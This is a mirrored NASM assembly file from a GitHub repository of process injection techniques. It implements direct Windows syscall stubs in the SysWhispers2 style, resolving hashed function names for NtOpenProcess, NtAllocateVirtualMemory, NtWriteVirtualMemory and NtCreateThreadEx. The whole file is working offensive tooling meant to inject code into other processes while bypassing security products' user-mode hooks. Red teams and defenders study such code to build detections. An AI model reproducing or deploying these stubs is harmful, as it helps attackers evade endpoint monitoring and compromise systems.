mirror of
https://github.com/Offensive-Panda/ProcessInjectionTechniques
synced 2026-06-06 16:24:33 +00:00
Offensive-Panda
60 lines
1.9 KiB
NASM
60 lines
1.9 KiB
NASM
[SECTION .data]
|
|
currentHash: dw 0
|
|
|
|
[SECTION .text]
|
|
|
|
BITS 64
|
|
|
|
global NtDelayExecution
|
|
global NtOpenProcess
|
|
global NtAllocateVirtualMemory
|
|
global NtWriteVirtualMemory
|
|
global NtCreateThreadEx
|
|
global NtClose
|
|
|
|
global WhisperMain
|
|
extern SW2_GetSyscallNumber
|
|
|
|
WhisperMain:
|
|
pop rax
|
|
mov [rsp+ 8], rcx ; Save registers.
|
|
mov [rsp+16], rdx
|
|
mov [rsp+24], r8
|
|
mov [rsp+32], r9
|
|
sub rsp, 28h
|
|
mov ecx, dword [currentHash]
|
|
call SW2_GetSyscallNumber
|
|
add rsp, 28h
|
|
mov rcx, [rsp+ 8] ; Restore registers.
|
|
mov rdx, [rsp+16]
|
|
mov r8, [rsp+24]
|
|
mov r9, [rsp+32]
|
|
mov r10, rcx
|
|
syscall ; Issue syscall
|
|
ret
|
|
|
|
NtDelayExecution:
|
|
mov dword [currentHash], 06AED342Dh ; Load function hash into global variable.
|
|
call WhisperMain ; Resolve function hash into syscall number and make the call
|
|
|
|
NtOpenProcess:
|
|
mov dword [currentHash], 0C857D1FBh ; Load function hash into global variable.
|
|
call WhisperMain ; Resolve function hash into syscall number and make the call
|
|
|
|
NtAllocateVirtualMemory:
|
|
mov dword [currentHash], 08BDD429Ah ; Load function hash into global variable.
|
|
call WhisperMain ; Resolve function hash into syscall number and make the call
|
|
|
|
NtWriteVirtualMemory:
|
|
mov dword [currentHash], 085899106h ; Load function hash into global variable.
|
|
call WhisperMain ; Resolve function hash into syscall number and make the call
|
|
|
|
NtCreateThreadEx:
|
|
mov dword [currentHash], 0C32FFE8Ah ; Load function hash into global variable.
|
|
call WhisperMain ; Resolve function hash into syscall number and make the call
|
|
|
|
NtClose:
|
|
mov dword [currentHash], 002DD97EDh ; Load function hash into global variable.
|
|
call WhisperMain ; Resolve function hash into syscall number and make the call
|
|
|